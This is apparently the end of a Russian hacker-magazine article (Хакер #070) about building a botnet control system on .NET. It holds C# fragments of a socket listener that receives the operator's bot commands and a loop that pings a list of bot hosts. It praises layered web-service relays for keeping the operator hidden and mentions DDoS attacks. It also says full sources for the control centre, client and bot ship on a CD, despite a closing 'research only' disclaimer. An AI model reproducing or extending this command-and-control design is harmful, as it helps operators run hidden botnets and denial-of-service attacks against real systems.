БОТНЕТ НА DOTNET'E SULVERUS AKA ДРОЗДОВ АНДРЕЙ Спецвыпуск: Хакер, номер #070, стр. 070-056-5 while (true) { Console.WriteLine("Listing.. port {0}", ep); Socket hnd = listn.Accept(); //разрешаем коннект string info = null; while (true) { byte[] data_g = new byte[1024]; int recev = hnd.Receive(data_g); //получаем данные от хакера info += Encoding.ASCII.GetString(data_g, 0, recev); //запииваем данные в переменную //далее идет обработка ботовских комманд [вывод] На основе технологии .NET мы создали набор программ, для управления ботнетами. Заметь, насколько увеличивается безопасность благодаря веб-сервисам. Используя подобную тактику, хакер всегда останется незаметным в сети при работе с ботами, а это немаловажно. В данной системе управления ботами есть много плюсов. Единственным минусом является только то, что для большого числа звеньев необходимо много серверов, на которых мы разместим веб-сервисы. Достаточно всего лишь 1-2 дополнительных сервиса - если тебе нужна высокая безопасность, и 3-4 - если ты параноик:). На примере этой статьи хорошо видно, насколько много возможностей дает технология .NET для хакера, так что, кто еще не вооружился, бегом ставить 2005 студию ;). Однако не забывай: DDoS-атаки - это в высшей степени незаконно. Не стоит подрывать свою судьбу/жизнь/карьеру скитаниями по судам и прочим инстанциями, ведь подобные системы можно использовать не только во зло, но и для управления компьютерами во время net renderinga при моделировании в 3d max'e. Очень советую перечитать статью, чтобы усвоить все выше сказанное. Если у тебя есть какие-то вопросы или предложения относительно статьи - пиши, я с радостью отвечу :). Цикл для проверки связи for (i = 0; i < itm; i++) { ListBox1.SelectedIndex = i; IPHostEntry host = Dns.Resolve(ListBox1.SelectedItem.Text); //работаем с сокетами IPAddress ip = host.AddressList[0]; //обьявляем переменные IPEndPoint ep = new IPEndPoint(ip, prt); Socket client_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { client_sock.Connect(ep); string msg = "privet"; //ПРИВЕТ:) byte[] msg2 = Encoding.ASCII.GetBytes(msg); //перекодируем ее в байты int send_msg = client_sock.Send(msg2); byte[] data = new byte[1024]; int recv = client_sock.Receive(data); ListBox2.Items.Add(ip.ToString()); client_sock.Shutdown(SocketShutdown.Both); //закрываем сокет client_sock.Close(); } catch (SocketException Sock) { TextBox7.Text = Sock.ToString(); } } На компакт-диске ты найдешь исходники к контрол-центру, веб-сервису, клиенту и дописанному боту;) Напоминаю, что все материалы статьи представлены исключительно для исследовательских целей - не стоит использовать их во зло. |